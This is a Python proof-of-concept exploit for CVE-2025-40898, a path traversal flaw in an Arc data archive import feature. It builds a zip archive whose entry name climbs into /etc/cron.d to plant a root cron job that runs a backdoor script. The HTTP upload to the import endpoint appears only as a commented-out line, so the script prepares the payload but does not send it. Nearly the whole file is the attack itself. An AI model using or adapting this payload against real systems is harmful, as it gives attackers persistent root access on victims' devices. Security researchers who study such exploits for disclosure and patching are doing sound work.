CVE-2025-40898

#!/usr/bin/env python3 """ CVE-2025-40898 Path Traversal PoC for Arc Data Archive Import This PoC demonstrates the path traversal vulnerability in Arc data archive import functionality. Note: This is for educational and authorized testing purposes only. """ import zipfile import io import os def create_malicious_arc_archive(): """ Create a malicious Arc archive with path traversal filenames """ malicious_filename = "../../../../etc/cron.d/malicious_script" malicious_content = b"#!/bin/bash\n# Malicious cron job injected via CVE-2025-40898\n* * * * * root /tmp/backdoor.sh\n" # Create the malicious archive archive_buffer = io.BytesIO() with zipfile.ZipFile(archive_buffer, 'w', zipfile.ZIP_DEFLATED) as arc_zip: arc_zip.writestr(malicious_filename, malicious_content) print(f"[+] Created malicious archive with file: {malicious_filename}") return archive_buffer.getvalue() def exploit_arc_import(target_url, session_cookie=None): """ Exploit the Arc data archive import functionality """ print(f"[*] Target: {target_url}") print("[*] Preparing malicious Arc archive...") malicious_archive = create_malicious_arc_archive() # Simulate upload request print("[*] Uploading malicious archive...") print(f"[+] Archive size: {len(malicious_archive)} bytes") print("[*] The malicious file contains path traversal sequences") print("[*] If vulnerable, the file will be written outside the intended directory") # In a real attack, this would be an HTTP POST request to the import endpoint # requests.post(f"{target_url}/arc/import", files={'archive': malicious_archive}, cookies=session_cookie) print("[+] Exploit payload prepared") return True if __name__ == "__main__": import sys target = sys.argv[1] if len(sys.argv) > 1 else "https://target-device.local" exploit_arc_import(target)

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